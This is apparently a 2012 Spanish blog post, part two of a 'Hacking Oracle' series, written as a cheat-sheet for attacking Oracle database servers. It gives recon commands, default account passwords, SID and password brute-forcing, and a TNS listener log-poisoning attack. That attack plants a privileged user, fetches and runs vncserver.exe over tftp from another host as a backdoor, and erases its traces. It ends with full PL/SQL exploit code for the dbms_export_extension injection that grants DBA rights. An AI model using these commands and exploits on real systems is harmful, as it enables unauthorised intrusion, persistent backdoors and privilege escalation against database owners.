domingo, 23 de diciembre de 2012

HACKING ORACLE (Parte II)

Continuamos con la parte de Hacking Oracle.A continuación un pseudo cheat-sheet que nos vendrá bien siempre a la hora de enfrentarnos a un Oracle en una auditoría de Hacking.



1. Encontrar servidores Oracle / puerto del Listener (esta tiene una dificultad
extrema,xd):

nmap –v <IP-ADDRESS>

2. Obtener la versión de Oracle (con tnscmd):

tnscmd10g.pl version –h <IP-ADDRESS

3. Obtener el SID o nombre de servicio (con tnscmd o sidguess):

tnscmd10g.pl status –h <IP_ADDRESS> ( listener no hardenizado)
sidguess host=<IP-ADDRESS> port=<PORT> sidfile=sid.txt

4. Conectarse a la base de datos (vía sqlplus)

sqlplus user/password@//<IP_ADDRESS>:<PORT>/<SID>

5. Comprobar passwords por defecto (con checkpw)

checkpwd user/password@//<IP_ADDRESS>:<PORT>/<SID>
default_password.txt

6. Hacking TNS Listener con tnscmd10g.pl
7. Escalada de privilegios con sqlplus

a. dbms_export_extension
b. Te lo curras como un campeón.

OBTENER EL PUERTO DEL TNS LISTERNER

Por defecto este puerto es el 1521, si el Oracle server a tratar no está hardenizado es
muy probable que no tengas que hacer nada, igualmente puedes llamar por teléfono a
Sistemas y preguntarle por el puerto...no sería raro que te lo dijesen :D
Si Oracle está hardenizado, usamos por ejemplo nmap.


OBTENER LA VERSIÓN DE ORACLE

Lo normal a esta fecha sería que fuese la 10g o 11g, pero es más que probable
encontrarse 9 y 8, lo cual nos proporciona una alegría tremenda, puesto que tenemos muchas
posibilidades de exploiting.
En cualquier caso, lanzamos tnscmd10g.pl version –h <IP-ADDRESS> y podemos ver los resultados.




OBTENER EL SID

Si el listener no se encuentra securizado, como podemos ver en la imagen anterior,
este proporciona todo tipo de información gratuita, a partir de la versión 9 mediante un
parche, se estableció la posibilidad de proteger esta información con password, igualmente en
la versión 10g se arregló el desaguisado, por lo que si estamos ante una versión anterior a la
10g tenemos suerte, en caso contrario tendremos que bifurcar el proceso, no obstante puede
que en la versión 2 de este paper le metamos mano.

Lanzamos tnscmd10g.pl status –h <IP_ADDRESS>


Como vemos en la imagen anterior, tenemos información como:

Version: 9.2.0.1
Operating System: Windows
Oracle_Home: c:\oracle\ora92
Extproc installed: YES
Ports: 1521 (TNS), 2100 (FTP), 8080 (HTTP)
SID: ora9201

Como tenemos el SID podemos empezar a jugar con la conexión, igualmente se ve
información sobre el Extproc, éste permite ejecutar comandos del sistema operativo a través
de la BD, por lo que podríamos reemplazar el intérprete o colar una backdoor con netcat.

Si el listener está protegido con password obtendríamos el siguiente mensaje:


Igualmente si estamos ante una versión >=10g la autenticación se realiza a nivel SO,
por lo que veríamos lo siguiente:


Pero a grandes males grandes remedios, podemos probar a lanzar un ataque de diccionario o
incluso de bruteforcing y voilá:

sidguess host=<IP-ADDRESS> port=<PORT> sidfile=sid.txt




En este caso el SID es XE, el que se establece por defecto, por ello un ataque de
diccionario es altamente efectivo, en otro caso nos quedaría el bruteforcing….ya conocemos el
SID ahora necesitamos una cuenta.


CONECTARSE A LA BD (VIA SQLPLUS)

Una vez obtenida la ip, puerto, datos del listener, etc…para poder conectarnos
necesitamos una cuenta de Oracle, lo más efectivo siempre es lo más fácil, lo primero que
intentaremos es usar alguna de las cuentas que crea Oracle by default y que suelen tener
nombres de usuario/passwords conocidos, por lo que nos creamos un diccionario con estos
datos y le metemos un pepinazo cruzando los dedos…los mejores usuarios son:

dbsnmp/dbsnmp (cercano a DBA)
outln/outln (cercano a DBA)
scott/tiger (usuario normal con create privileges)
system/manager (DBA)
sys/change_on_install (DBA)

Como somos asiduos de Tele5 no nos gusta pensar, por lo que basicamente
lanzaremos un sqlplus user/password@//<IP_ADDRESS>:<PORT>/<SID> con el diccionario de
users/pass.
En caso de éxito y dependiendo con que usuario nos loguemos, podremos hacer:
select * from v$version;
select username from all_users;
select * from session_roles;
select username,password from dba_users; (solo DBA )
show parameter




COMPROBAR LAS PASSWORDS DE LA BASE DE DATOS


Mientras nos vamos a tomar un café, preparamos un diccionario de los gordos
(+100000) y usando checkpwd vamos a ver que obtenemos:

checkpwd system/alexora1@//192.168.2.232/ora9201 default_passwords.txt




HACKINIG TNS LISTENER (Versión blanda)

Si estamos ante una versión <=9.2.6 vamos a probar lo siguiente:
En primer lugar vamos a habilitar un tftpd, ¿para qué?...bueno puede que seas
optimista y ya estés pensando en subir al server “algo”… si usas backtrack ya lo tienes a mano.

Nos copiamos el binario, por ejemplo el del netcat al /tmp para que esté a mano.





A través del TNS Listener, el cual no está protegido tenemos información muy útil, como se puede ver a continuación:



Con lo cual tenemos el path de ORACLE_HOME.
El próximo paso será cambiar el nombre y el directorio del logfile, ej:
c:\oracle\ora92\sqlplus\admin\glogin.sql, modificando glogin.sql es posible meter contenido
entre los .rhost (a no ser que a nivel SO tengan deshabilitado el run de R* -Services, típico en
Unix), igualmente podríamos intentar subir keys de ssh autorizadas…pero no lo vamos a ver
aquí.




Ahora podemos escribir comandos del sistema, nos bajamos y ejecutamos el binario
que nos habilita a ello y empezamos.

tnscmd10g.pl –h 192.168.2.238 –rawcmd “(CONNECT_DATA=((set term off create user
usuarioquevasacrear identified by password;
grant dba to usuarioquevasacrear;
host tftp –I 192.168.2.30 GET vncserver.exe vncserver.exe
host vncserver
set term on



  A continuación borramos las huellas restableciendo la configuración del listener al
estado original (si a nivel sistema tuviesen algún mecanismo de chequeo de integridad tanto a
nivel SO como a nivel Oracle…estaríamos jodidos)



A partir de ahora cuando el DBA use sqlplus en el servidor, nuestro código nos
habilitará para descargar y ejecutar el vncserver o netcat, teniendo así una buena backdoor!




Tenemos un usuario que nos hemos creado para esto….


Llegados aquí solo podemos decir GAME OVER.

Pero alguien se preguntará, claro como ya tienes un usuario privilegiado así juega
cualquiera, que pasa si en el ataque con el diccionario no consigo el acceso con un usuario
privilegiado?


ESCALADA DE PRIVILEGIOS

Existen muchas formas para realizar una escalada de privilegios, tantas como ideas se
nos puedan ocurrir, vamos a hacer la que se nos ocurra en primera instancia (nunca estará
garantizada ninguna de ellas).

Son muy conocidas las vulnerabilidades que afectan a dbms_export_extension (Oracle
8i – 10.2.0.2) por lo que vamos a darle caña!

Una posibilidad podría ser mediante un sqlinjection en dbms_export_extension,
dependiendo de la versión a tratar deberemos ver que podemos hacer, buscar por ejemplo
exploits en exploit-db , etc… si no existiese ningún exploit, lo tenemos crudo, salvo que tengas mucho tiempo libre y encontrar una vulnerabilidad y desarrollar el exploit.

En este caso, si que tenemos un exploit:




Creamos una función en un paquete e inyectamos esta función, la función se ejecutará
con el usuario SYS.

CREATE OR REPLACE
PACKAGE BT20_EXPLOIT AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/




Tenemos el paquete listo!

CREATE OR REPLACE PACKAGE BODY BT20_EXPLOIT
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN(1);
END;
END;
/



Ya falta poco!
Inyectamos la función en n dbms_export_extension

DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := 'SCOTT';
TYPE_NAME := 'BT20_EXPLOIT';
TYPE_SCHEMA := 'SCOTT';
VERSION := '10.2.0.2.0';
GMFLAGS := 1;
v_Return :=
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA,
TYPE_NAME
=> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
/


Solo tenemos que hacer logout y volver a hacer login para ser DBA!! (si el
sistema no es actualizado o parcheado continuaremos pudiendo hacer esto).